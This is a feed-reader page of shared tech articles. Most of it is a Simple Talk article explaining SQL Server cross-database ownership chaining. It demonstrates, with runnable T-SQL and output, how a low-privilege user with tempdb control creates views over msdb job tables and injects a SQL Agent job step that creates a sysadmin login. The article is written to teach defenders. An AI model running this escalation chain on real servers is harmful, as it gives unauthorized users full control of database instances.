Sr. Content Developer at Microsoft, working remotely in PA, TechBash conference organizer, former Microsoft MVP, Husband, Dad and Geek.
151582 stories
·
33 followers

1.0.25

1 Comment and 2 Shares

2026-04-13

  • Install MCP servers from the registry with guided configuration directly in the CLI
  • Esc key works correctly after a failed /resume session lookup
  • Persist resolved model in session history and defer model changes during active turns
  • ACP clients can now provide MCP servers (stdio, HTTP, SSE) when starting or loading sessions
  • The --config-dir flag is now respected when selecting the active model
  • Add /env command to show loaded environment details (instructions, MCP servers, skills, agents, plugins)
  • /share appends the correct file extension (.md or .html) when a custom output path is given without one
  • /add-dir accepts relative paths (e.g. ./src, ../sibling) and resolves them to absolute paths
  • Custom instruction files preserve special characters like & and
  • Skill picker list scrolls correctly when the list exceeds the terminal height
  • MCP client reports the correct CLI version during server handshake
  • /logout shows a warning when signed in via gh CLI, PAT, API key, or environment variable, since /logout only manages OAuth sessions
  • Alt+D now deletes the word in front of the cursor in text input
  • /share html shows a file:// URL and supports Ctrl+X O to open the file directly
  • Skill instructions persist correctly across conversation turns
  • You can now remote control your CLI sessions using --remote or /remote
  • MCP remote server connections automatically retry on transient network failures
  • Share Research TOC sidebar anchor links navigate correctly within the page
Read the whole story
alvinashcraft
1 hour ago
reply
Pennsylvania, USA
Share this story
Delete
1 public comment
bookletai0414
22 minutes ago
reply
Booklet AI helps create shareable AI-generated booklets: https://bookletai.org/tools/booklet-maker.html

Suppressing Roslyn Analyzer Warnings Programmatically using DiagnosticSuppressor

1 Share
Roslyn analyzers are great for enforcing coding standards and finding bugs. However, they can sometimes report false positives or warnings you want to ignore in specific contexts. You can suppress these warnings using #pragma directives or [SuppressMessage] attributes, but both approaches require modifying the source code. A DiagnosticSuppressor is a Roslyn component that suppresses diagnostics reported…
Read the whole story
alvinashcraft
1 hour ago
reply
Pennsylvania, USA
Share this story
Delete

Expanding Text Control Agent Skills: New ServerTextControl Skills for AI Assisted Document Processing

1 Share
Discover the latest ServerTextControl skills for AI-assisted document processing, enhancing your Text Control Agent capabilities. Learn how these new skills can streamline your workflow and improve efficiency in handling documents.

Read the whole story
alvinashcraft
1 hour ago
reply
Pennsylvania, USA
Share this story
Delete

Normalization vs. Reality: When to Denormalize for Throughput on SQL Server & Azure SQL

1 Share

## 1 Normalization vs. Reality: When to Denormalize for Throughput on SQL Server & Azure SQL

### 1.1 The Architect’s Paradox: Purity vs. Performance

Normalization still matters. Third Normal Form and BCNF are still the right tools when the goal is to keep data clean, reduce duplication, and avoid update anomalies. In systems of record, those are not textbook concerns. They affect billing, inventory, approvals, reporting, and every cleanup script someone has to write after bad data gets into production.

But there is another side to this. The schema that is best for correctness is not always the schema that is best for throughput. That gap gets wider when the system becomes read heavy, runs at scale, and serves the same data shape over and over. A fully normalized design can be logically correct and still expensive to query under load.

In SQL Server and Azure SQL, denormalization should not be the first response to slow queries. Many systems have more basic issues first: weak indexing, bad query patterns, parameter-sensitive plans, ORM chatter, and avoidable key lookups. Those problems need to be fixed before the schema becomes the main suspect. But once those are under control, some workloads still hit a wall because the engine spends too much time assembling data across too many tables.

Read the whole story
alvinashcraft
1 hour ago
reply
Pennsylvania, USA
Share this story
Delete

Cross-database ownership chaining in SQL Server: security risks, behavior, and privilege escalation explained

1 Share

A dangerous privilege-escalation path exists in SQL Server when cross-database ownership chaining, system database defaults, and overly permissive permissions are combined. Under these conditions, a low-privilege authenticated user can escalate to sysadmin, gaining full control of the instance. This article walks through how an attacker can abuse these mechanics.

Introducing cross-database ownership chaining in SQL Server – and its potential for abuse

Cross-database ownership chaining is a SQL Server feature that controls how permissions are evaluated when objects in one database access objects in another. When enabled, SQL Server may skip permission checks across database boundaries if object ownership conditions are met.

While this mechanism is essential for many built-in SQL Server features and system workflows, it introduces implicit trust relationships between databases. If these trust boundaries are misunderstood or combined with excessive permissions, they can be abused by an attacker to move laterally across databases and escalate privileges.

As documented by Microsoft:

“Enabling cross-database ownership chaining in SQL Server introduces a potential security vulnerability. When this feature is active, a local database user with elevated privileges can exploit ownership chaining to escalate permissions and potentially gain sysadmin access.”

Understanding how SQL Server evaluates permissions is critical to correctly assessing both its legitimate uses and its potential for abuse.

How SQL Server evaluates permissions

It’s first important to understand how SQL Server evaluates permissions to avoid incorrect assumptions.

SQL Server uses ownership chaining to determine whether permission checks on underlying objects can be skipped during execution. This mechanism allows users to interact with complex database logic, such as stored procedures and views, without requiring direct permissions on every underlying table.

When a stored procedure accesses an object in the same database, SQL Server evaluates permissions as follows:

  1. Verify that the caller has EXECUTE permission on the stored procedure.

  2. Compare the owner of the stored procedure with the owner of the referenced object.

  3. If the owners match, permission checks on the referenced object are skipped.

  4. If the owners differ, SQL Server enforces normal permission checks.

This is known as an ownership chain. As long as the chain remains unbroken and all objects are owned by the same principal – commonly dbo (database owner) – SQL trusts the execution context and suppresses additional permission validation.

How ownership chaining works in SQL Server

Here’s a practical example of how ownership chaining works in SQL Server:

Scenario

  • A table called ‘Salaries’ exists in a database

  • A user does not have permission to read from the ‘Salaries’ table

  • However, the user does have permission to execute a stored procedure that accesses the ‘Salaries’ table

First, create a login we’ll use as our database owner and add it to the dbcreator server level role:

USE master
GO
CREATE LOGIN AppDbOwner WITH PASSWORD = 'StrongPassword!123';
GO
ALTER SERVER ROLE dbcreator ADD MEMBER AppDbOwner
GO

Now create a login we’ll use as our app user:

CREATE LOGIN AppUser WITH PASSWORD = 'StrongPassword!123';
GO

Under the AppDbOwner login context, create a database called ‘AppDB’ and a user for AppUser inside the database. Notice that AppUser has execute permission on dbo schema.

USE master
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
CREATE DATABASE AppDB;
GO
USE AppDB
GO
CREATE USER AppUser FOR LOGIN AppUser;
GO
GRANT EXECUTE ON SCHEMA::dbo TO AppUser
GO
USE master
GO
REVERT;
GO

We’ll now create a table called ‘Salaries’ and a procedure that reads the table:

USE AppDB;
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
CREATE TABLE Salaries
(
    EmployeeID INT,
    Salary     MONEY
);
GO
INSERT INTO Salaries VALUES(1, 1000);
GO
CREATE PROCEDURE ReadSalaries
AS
BEGIN
  SELECT * FROM Salaries;
END;
GO
REVERT;
GO

The result is as expected: AppUser does not have access to the ‘Salaries’ table:

USE AppDB;
GO
EXECUTE AS LOGIN = 'AppUser';
GO
SELECT * FROM Salaries;
GO
REVERT;
GO

Msg 229, Level 14, State 5, Line 28
The SELECT permission was denied on the object 'Salaries', database 'AppDB', schema 'dbo'.

However, AppUser CAN execute the ReadSalaries procedure:

USE AppDB;
GO
EXECUTE AS LOGIN = 'AppUser';
GO
EXEC ReadSalaries
GO
REVERT;
GO

EmployeeID  Salary

———– ———————

1           1000.00

(1 row affected)

The execution succeeds despite AppUser not having any direct permissions on ‘Salaries.’ Since dbo (AppDbOwner) owns both the table and the procedure, no permissions were checked.

Why this behavior works – and is not considered a security flaw

  • The procedure owner is dbo (AppDbOwner)
  • The table owner is dbo (AppDbOwner)
  • The ownership chain is intact
  • SQL Server skips permission checks on the table
  • Only the EXECUTE permission on the procedure is required

This behavior is by design – so is not considered a security flaw. In summary, this model allows SQL Server to safely expose data through controlled interfaces while preserving strict permission boundaries.

Fast, reliable and consistent SQL Server development…

…with SQL Toolbelt Essentials. 10 ingeniously simple tools for accelerating development, reducing risk, and standardizing workflows.
Learn more & try for free

How to add cross-database access to this scenario

Now, let’s analyze a scenario where the ‘Salaries’ table owner is the same, but the table is stored in a different database.

Create a new database called AppDB_HR and a ‘Salaries’ table on it. We’re also creating a user for AppUser on this database but will not grant any permissions for it. Note that the AppDB_HR database owner is the same as AppDB (AppDbOwner).

USE master
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
CREATE DATABASE AppDB_HR;
GO
USE AppDB_HR
GO
CREATE USER AppUser FOR LOGIN AppUser;
GO
CREATE TABLE Salaries
(
    EmployeeID INT,
    Salary     MONEY
);
GO
INSERT INTO Salaries VALUES(1, 1000);
GO
USE master
GO
REVERT;
GO

Now, back on AppDB, let’s recreate the ReadSalaries procedure to access the ‘Salaries’ table on the AppDB_HR database:

USE AppDB
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
DROP PROC IF EXISTS ReadSalaries
GO
CREATE PROCEDURE ReadSalaries
AS
BEGIN
  SELECT * FROM AppDB_HR.dbo.Salaries;
END;
GO
REVERT;
GO

And here’s what happens when AppUser tries to execute the ReadSalaries procedure:

USE AppDB
GO
EXECUTE AS LOGIN = 'AppUser';
GO
EXEC ReadSalaries
GO
REVERT;
GO

Msg 229, Level 14, State 5, Procedure ReadSalaries, Line 4 [Batch Start Line 128]
The SELECT permission was denied on the object 'Salaries', database 'AppDB_HR', schema 'dbo'.

By default, SQL Server enforces strict isolation between databases. Permissions granted in one database do not automatically carry over to another, even if the same login owns objects in both.

Cross-database chaining can be used to enable this access. While powerful, this feature introduces security risks and is therefore disabled by default.

Let’s enable it on both databases to see how it works:

ALTER DATABASE AppDB_HR SET DB_CHAINING ON
ALTER DATABASE AppDB SET DB_CHAINING ON
GO

Access to the ‘AppDB_HR’ table via the ReadSalaries procedure is now allowed:

USE AppDB
GO
EXECUTE AS LOGIN = 'AppUser';
GO
EXEC ReadSalaries
GO
REVERT;
GO

EmployeeID  Salary

———– ———————

1           1000.00

(1 row affected)

Explaining the security implications of Cross DB ownership being enabled by default on master, msdb and tempdb

As discussed earlier, cross-database ownership chaining is disabled by default for user databases. This default protects database boundaries and prevents implicit trust relationships between separate databases. However, cross-database ownership chaining is enabled by default on master, msdb, and tempdb system databases.

While this behavior is necessary (many built-in procedures and features rely on cross-db object access between system DBs), it has important security consequences. This is because system databases are owned by sa – and can’t be changed.

If a low-privilege user gains the ability to create or modify objects in one of these databases, they may be able to leverage cross-database ownership chaining to access or influence objects in another system database. Here’s why:

  • Permissions on master, tempdb and msdb must be carefully controlled
  • Granting CONTROL, ALTER, or broad DDL permissions on system databases is extremely dangerous

Explaining privilege escalation to sysadmin in SQL Server (cross-DB ownership and a SQL agent job)

An authenticated, non-sysadmin account with the ability to create objects in tempdb can leverage cross-database ownership chaining to read and perform DML (data manipulation language) against sensitive msdb system tables. For example, msdb.dbo.sysjobs and msdb.dbo.sysjobsteps.

By updating the owner_sid of a SQL Agent job to the [sa] SID (0x01) via an updatable tempdb view that references msdb, an attacker can cause SQL Agent to execute the job steps under the [sa] context. This would then allow for creation of a server principal and subsequent escalation to sysadmin.

Let’s start by creating a regular login with permission to alter and control objects on tempdb:

USE master
GO
CREATE LOGIN AppLogin WITH PASSWORD='StrongPassword!123';
GO
/* Give AppLogin permission to create/read objects on tempdb */
USE tempdb
GO
CREATE USER AppLogin FOR LOGIN AppLogin;
GRANT ALTER TO AppLogin;
GRANT CONTROL TO AppLogin;
GO

Next, using AppLogin1, let’s try to access the sysjobs table on msdb:

USE tempdb
GO
EXECUTE AS LOGIN = 'AppLogin1';
GO
-- AppLogin1 does not have direct permission on msdb tables
SELECT * FROM msdb.dbo.sysjobs
GO
REVERT;
GO

Msg 229, Level 14, State 5, Line 19
The SELECT permission was denied on the object 'sysjobs', database 'msdb', schema 'dbo'.

From the attacker’s perspective, this failure confirms that direct access to msdb is blocked. However, it also highlights an opportunity. Since both tempdb and msdb have ownership chaining enabled and share the same owner (sa), a chained object can be used to bypass this restriction.

So, let’s now check which databases have db chaining enabled:

-- is_db_chaining_on on both DBs tempdb and msdb are set to ON
SELECT name, owner_sid, is_db_chaining_on 
FROM sys.databases
WHERE is_db_chaining_on = 1
GO
name         owner_sid     is_db_chaining_on
------------ ------------- -----------------
master       0x01          1
tempdb       0x01          1
msdb         0x01          1

(3 rows affected)

Database chaining is enabled on both tempdb and msdb, which means I can do the following:

USE tempdb
GO
EXECUTE AS LOGIN = 'AppLogin1';
GO
DROP VIEW IF EXISTS vw_sysjobs
GO
CREATE VIEW vw_sysjobs
AS
SELECT * FROM msdb.dbo.sysjobs
GO
-- And rely on ownership chaining to get access msdb.dbo.sysjobs
SELECT job_id, name, enabled, owner_sid, SUSER_SNAME(owner_sid) AS job_owner 
FROM vw_sysjobs WHERE name = 'syspolicy_purge_history'
GO
REVERT;
GO

The results are:

job_id                               name                         enabled owner_sid   job_owner
------------------------------------ ---------------------------- ------- ----------- -----------
761A6AFC-BE7E-4A82-A021-A7B687AD3F63 syspolicy_purge_history      1       0x01        sa

(1 row affected)

By placing a view in tempdb that references msdb objects, SQL Server treats access to the underlying msdb tables as trusted – despite no explicit permissions being granted.

By default, every SQL Server instance has a job called syspolicy_purge_history which runs (typically) at 2 AM. We could use this job to inject some code to be executed in the job context (sa login). For instance, I could add a new step and wait for its next execution:

USE tempdb
GO
EXECUTE AS LOGIN = 'AppLogin1';
GO
DROP VIEW IF EXISTS vw_sysjobsteps
GO
CREATE VIEW vw_sysjobsteps
AS
SELECT * FROM msdb.dbo.sysjobsteps
GO
-- Inserting a new step to create a sysadmin login
DECLARE @step_uid VARCHAR(250) = NEWID()
INSERT INTO vw_sysjobsteps ([job_id], [step_id], [step_name], [subsystem], [command], [flags], [additional_parameters], [cmdexec_success_code], [on_success_action], [on_success_step_id], [on_fail_action], [on_fail_step_id], [server], [database_name], [database_user_name], [retry_attempts], [retry_interval], [os_run_priority], [output_file_name], [last_run_outcome], [last_run_duration], [last_run_retries], [last_run_date], [last_run_time], [proxy_id], [step_uid])
VALUES (
'{761a6afc-be7e-4a82-a021-a7b687ad3f63}', 
4, 
'Run my elevated code', 
'TSQL',
'-- If login does not exist, create it
IF NOT EXISTS(SELECT * FROM sys.server_principals WHERE name = ''NewSysAdminLogin'')
BEGIN
  CREATE LOGIN [NewSysAdminLogin] WITH PASSWORD=N''102030'', CHECK_POLICY=OFF;
  ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin];
END',
0, NULL, 0, 1, 0, 1, 0, NULL, N'master', NULL, 0, 0, 0, NULL, 0, 0, 0, 0, 0, NULL, @step_uid
)
GO
-- Adjust on_success_action for step 3
UPDATE vw_sysjobsteps SET on_success_action = 3
FROM vw_sysjobsteps
WHERE job_id = '761A6AFC-BE7E-4A82-A021-A7B687AD3F63'
AND step_id = 3
GO
REVERT;
GO

The job has four steps:

-- Check all steps
SELECT job_id, step_id, step_name, on_success_action
FROM vw_sysjobsteps
GO

The results are:

job_id                 step_id     step_name                             on_success_action
-------------------... ----------- ------------------------------------- ----------
761A6AFC-BE7E-4A82-... 1           Verify that automation is enabled.    3
761A6AFC-BE7E-4A82-... 2           Purge history.                        3
761A6AFC-BE7E-4A82-... 3           Erase Phantom System Health Records.  3
761A6AFC-BE7E-4A82-... 4           Run my elevated code                  1

(4 rows affected)

Now, we could wait until the next execution, and our code would be executed under sa context. However, if you don’t want to wait, you can use the following code to manually start the job:

-- Force job execution using a high priv account to be able to call 
-- sp_start_job of syspolicy_purge_history job
EXECUTE msdb.dbo.sp_start_job N'syspolicy_purge_history';
GO

And now, the login NewSysAdminLogin should be there:

-- Did it created my sysadmin login?
SELECT name, IS_SRVROLEMEMBER('sysadmin', name) AS "IsSysAdmin?"
FROM sys.server_principals 
WHERE name = 'NewSysAdminLogin'
GO
name              IsSysAdmin?
----------------- -----------
NewSysAdminLogin  1

(1 row affected)

Summary

Cross-database ownership chaining is not inherently a vulnerability; it is a legitimate SQL Server feature designed to enable controlled access patterns and support core engine functionality. However, as demonstrated throughout this article, the combination of system database defaults, shared ownership, and overly permissive permissions makes it highly susceptible to privilege escalation.

The examples shown illustrate how a low-privilege, authenticated user can move laterally across databases and abuse implicit trust boundaries. They can execute code under the sa context without exploiting memory corruption, bugs, or undocumented features.

Ultimately, database boundaries are only meaningful if trust is not implicitly extended across them. Any permission that allows object creation or modification in system databases must be treated as highly sensitive. Roles, grants, and design assumptions that appear harmless in isolation can become critical escalation paths when combined with ownership chaining.

That’s why it’s critical to understand how SQL Server actually evaluates permissions, where implicit trust exists, and how attackers think. Without that knowledge, it’s all too easy to let a “low-privilege” user suddenly become a sysadmin and gain full control of your instance.

Protect your data. Demonstrate compliance.

With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery & masking, and demonstrate compliance with traceability across every environment.
Learn more

FAQs: The risks of cross-database ownership chaining in SQL Server

1. What is cross-database ownership chaining in SQL Server?

It’s a feature that allows SQL Server to skip permission checks across databases when object ownership matches, enabling smoother access between related database objects.

2. How does SQL Server evaluate permissions with ownership chaining?

SQL Server checks EXECUTE permissions on a procedure, then verifies object ownership. If both objects share the same owner, permission checks on underlying objects may be skipped.

3. Why is cross-database ownership chaining a security risk?

If enabled incorrectly, it can create implicit trust between databases, allowing attackers to escalate privileges or access data across database boundaries.

4. Is cross-database ownership chaining enabled by default?

It is disabled by default on user databases but enabled on system databases like master, msdb, and tempdb for compatibility reasons.

5. Can cross-database ownership chaining lead to privilege escalation?

Yes. In misconfigured environments, attackers may exploit chained ownership and system database access to escalate privileges up to sysadmin level.

 

The post Cross-database ownership chaining in SQL Server: security risks, behavior, and privilege escalation explained appeared first on Simple Talk.

Read the whole story
alvinashcraft
1 hour ago
reply
Pennsylvania, USA
Share this story
Delete

Microsoft Global Agent-a-thon

1 Share

Turn AI Potential into Real Impact—in One Day (and Beyond) 

🌐 Online | Multiple session times 
📅 May 6, 2026 
🔗 Register: aka.ms/AgentathonMay2026

AI isn’t something to experiment with someday—it’s a capability organizations across nonprofits, public sector, education, and business need now to reduce workload, improve services, and focus on what matters most. 

The Microsoft Global Agentathon is a global, handson experience where you don’t just learn about AI—you build real AI agents, receive guidance and support throughout your journey, and have the chance to showcase your solution on a global stage. 

This is more than a oneday event. It’s a guided, supported learning experience. 

Choose the level that fits your role—and your ambition:

🌱 Level 1 – Explorer 

For leaders, professionals, nonprofit staff, and firsttime builders 

  • Build your first AI agent using Agent Builder—no coding required 
  • Learn how agents can answer questions, summarize information, and support teams 
  • Leave with a working agent you can apply immediately 
⚙️ Level 2 – Commander 

For Copilot Studio users, IT teams, operations leaders, and developers 

  • Build nocode agents that automate workflows and connect systems 
  • Reduce time spent on repetitive tasks like intake, reporting, and internal support 
  • Designed for both missiondriven and commercial environments 
🚀 Level 3 – Master 

For architects, advanced builders, and technical decisionmakers 

  • Build secure, enterprisegrade AI agents using Microsoft Foundry 
  • Explore orchestration, multiagent patterns, governance, and scale 
  • Ideal for complex organizations and distributed teams

🏆 Go further than building: 

  • Submit your AI agent for a chance to win a grand prize 
  • Benefit from continuous learning, resources, and expert support—before, during, and after the Agentathon 
  • Learn alongside a global community solving realworld problems 
  • Build solutions designed for real impact, not shelfware 

Why this matters to nonprofits 

Nonprofits are under constant pressure to maximize impact with limited staff, time, and funding. Administrative burden, reporting requirements, fundraising demands, and growing community needs often compete with missioncritical work. 

AI agents can help change that. 

Through the Agentathon, nonprofits can: 

  •  Automate repetitive tasks like donor followups, grant reporting, intake forms, and internal help desks 
  •  Support staff and volunteers with faster access to information and insights 
  •  Scale services without scaling overhead 
  •  Experiment safely with AI—guided by tools, training, and community support 
  •  Build solutions aligned to their mission, not generic tech use cases 

Most importantly, nonprofits don’t have to do this alone. The Agentathon provides structure, guidance, and ongoing support, helping organizations move confidently from exploration to realworld application. 

Whether your goal is amplifying mission impact, improving service delivery, or increasing efficiency, the Microsoft Global Agentathon helps you move from AI curiosity to real, lasting capability. 

One day to build. Ongoing support to grow. A chance to shine globally. 

Read the whole story
alvinashcraft
1 hour ago
reply
Pennsylvania, USA
Share this story
Delete
Next Page of Stories